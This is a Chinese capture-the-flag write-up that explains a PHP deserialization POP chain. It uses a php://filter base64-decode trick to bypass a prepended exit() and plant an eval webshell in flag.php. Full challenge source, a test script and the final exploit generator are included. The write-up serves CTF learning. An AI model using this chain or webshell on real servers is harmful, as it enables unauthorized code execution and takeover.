源码
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flag.php', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {//传入一个键值对
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);//反转键值对
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);//array_intersect_key,返回object数组和cacheProperties键重叠的
}//相当于将contents的值进行了过滤一下(二维数组),只留下cacheProperties键的
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);//json格式编码
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;//$this->>option['prefix']=php://filter/read=convert.base64-decode/resource=
}
protected function serialize($data): string {//value
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];//$this->>options['serialize']=base64.decode
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{//$this->key, $contents, $this->expire
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];//$this->>options['expire']=1
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);//返回路径中的目录名称部分
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);//$this->>options['data_compress']=flase
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;//利用伪协议绕过死亡exit
$result = file_put_contents($filename, $data);//data数据输入进filename
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
扫一眼过去发现并不是普通的pop链,只能慢慢分析,找突破点
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);//data数据输入进filename
可以看到我们要利用file_put_contents函数来将我们所需要构造的$data语句写入一个文件(没有则会创一个新文件),因此$filename参数我们要多加注意,$data是一个死亡exit,不管我们如何输入一句话木马,他直接就会exit退出,因此这里我们要利用到伪协议的特性谈一谈php://filter的妙用 | 离别歌?
核心就是
base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
因此<?php\n// \n exit();?>\n占二十个字符位置,经过base64解码后就会变成php//exit;只有九个字符位置了,因为base64是四个一组,为了让前面九个字符解析正确,我们要自己格外加三个字符;sprintf('%012d', $expire) 占十二个字符位置,符合标准,因此exipre这个参数
?由于格式符已经定好了%012d,因此我们传入的数字只要小与等于12位就可以了
现在先追溯$filename参数从哪里来的
?跟进getCacheKey函数以及name参数
可以看到filename参数是由$name参数与数组options的prefix键拼接而成的?,寻找一下$name参数从何而来
?寻找哪里调用了set函数
?可以发现是在A类的save函数里面调用的,且save函数又是析构函数调用的;因此这里我们可以先赋值一下
A类
$this->store=new B();//构造一条链
$thhis->autosave=false;//通过if语句判断
并且可以发现我们所追求的name属性,是A类一开始的属性key赋值而来的,key的赋值在A的构造函数里面,好这里清晰了
$filename->$name->$key
现在来专注$data从何而来了
我们不需要数据压缩,因此可以
$this->options['data_compress']=false;
?
?目标改为serialize函数中的value
?可以看到返回值是$serialize($date);serialize键肯定是一个函数,暂时不知道是啥,先追溯一下serialize函数中的value从何而来
又要回到A类
?value对应的是contents参数,contents参数又来自于调用getForStorage函数
?调用getForStorage函数的时候会返回一个json_encode字符串,其中的$this->complete我们可控,$cleaned参数来自于cleanContents函数
?参数是一个可控的$this->cache,一个数组
array_intersect_key函数,返回两个数组相同的键,如键相同,值不同,默认第一个参数的键值
array_flip函数,反转键值对,键变成值,值变成键
data参数的关系如下?
$data->$value->$contents->json_encode([$cleaned, $this->complete])
看到这里其实我做的时候脑袋已经晕了,跳来跳去的
先将伪协议绕过那个地方构造好理想状态,不对再随着前面修改,利用filename参数传入filter伪协议base64读取来消灭掉死亡exit
B:
$this->options['prefix']='php://filter/write=convert.base64-decode/resource=';
记住这里是write而不是read,我们要写入过滤去掉一些字符
因为是创建一个新文件写入内容,name参数随意什么文件名都可以
A:
$this->key = 'flag.php';
由于base64的解析成功,data参数相当于我们自己来构造一句话木马,防止里面的也被解析,因此我们要两次base64
A:
$this->complete=base64_encode("xxx".base64_encode('<?php @eval($_POST["pass"]);?>'));
//先将自己构造的一句话木马进行base64编码,然后因为base64四位四位解析的缘故,拼接三个字符以保证前面php//exit成功解析,再进行编码一次为了不在第一次base64_decode后将一句话木马的字符也给忽略掉
这里其实是之前很困扰我的地方,因为第一个参数cleaned我不知道该构造什么,看了wp是将前面的$->cache传入一个空数组,我之前不理解,但我做过测试以后就懂了
<?php
function cleanContents(array $contents) {//传入一个键值对
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);//反转键值对
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);//array_intersect_key,返回object数组和cacheProperties键重叠的
}//相当于将contents的值进行了过滤一下(二维数组),只留下cacheProperties键的
}
return $contents;
}
$a=array();
$b=cleanContents($a);
var_dump($b);
$d=base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));;
$c=json_encode([$b, $d]);
echo $c;
echo "\n";
if (is_numeric($c)) {
echo 'num';
}
echo base64_decode($c);
虽然我们之前返回的一直是json类型,前面是一个空的数组,但是最后由于base64_decode的特性,会忽略不属于64个字符里面的字符包括空,从而只会解析后面新的字符串,不再有一个空数组的存在,因此之前那个serialize函数那里我们应该传入的函数为
$this->options['serialize']='base64_decode';
传入的数组cache为
$this->cache=array();
现在大体的框架已经出来了,最后整理应为
<?php
class A {
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key = 'flag.php';//
$this->store =new B();//
$this->cache=array();
$this->complete=base64_encode("xxx".base64_encode('<?php @eval($_POST["pass"]);?>'));
$this->autosave=false;
}
}
class B {
public function __construct()
{
$this->options['prefix']='php://filter/write=convert.base64-decode/resource=';
$this->options['serialize']='base64_decode';
$this->options['data_compress']=false;
$this->options['expire']=1;
}
}
$a=new A();
echo urlencode(serialize($a));
将url编码后的字符串传入data参数,进入我们建立的文件flag.php利用蚁剑getshell获取flag即可
题目关键在于:
1、理清楚参数的传递以及函数之间的调用
2、get一个新方法利用伪协议filter进行write,将死亡exit的一些字符进行忽略导致无法执行实现绕过
3、base64解析的特性是四位四位的特性,记得拼接字符来保证解析正确
感觉写的有点乱,可能是我自己没有理解透吧
|